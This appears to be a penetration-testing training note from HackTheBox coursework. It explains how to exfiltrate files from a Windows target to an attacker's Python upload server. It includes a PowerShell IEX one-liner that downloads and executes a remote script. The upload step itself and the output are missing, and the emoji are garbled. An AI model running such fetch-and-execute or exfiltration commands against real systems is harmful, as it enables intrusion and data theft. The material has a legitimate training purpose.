🌐 PowerShell Web Uploads

Need to upload files from your target machine back to your own? Here's a simple way to do it using PowerShell and a lightweight Python upload server. πŸš€

🧰 PowerShell Doesn’t Natively Upload… But We Can Fix That!

PowerShell doesn’t include a built-in upload command β€” but with Invoke-WebRequest or Invoke-RestMethod and a custom web server, we can make uploads work!


πŸ› οΈ Step 1: Set Up a Web Server That Accepts Uploads (On Attacker Machine)

We’ll use uploadserverarrow-up-right, an upgraded Python http.server module that allows uploads through a simple web interface. πŸ§ƒ

Install it:

z3tssu@htb[/htb]$ pip3 install uploadserver

Start the server:

z3tssu@htb[/htb]$ python3 -m uploadserver

πŸ“ Uploads will now be accepted at: http://:8000/upload


πŸ“¦ Step 2: Download PSUpload Script on Windows

Use PowerShell to fetch a script that lets us perform uploads via HTTP:

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

πŸ“€ Step 3: Upload Your File!

Now that the function is loaded, upload a file (like the hosts file):

βœ… Output:

Last updated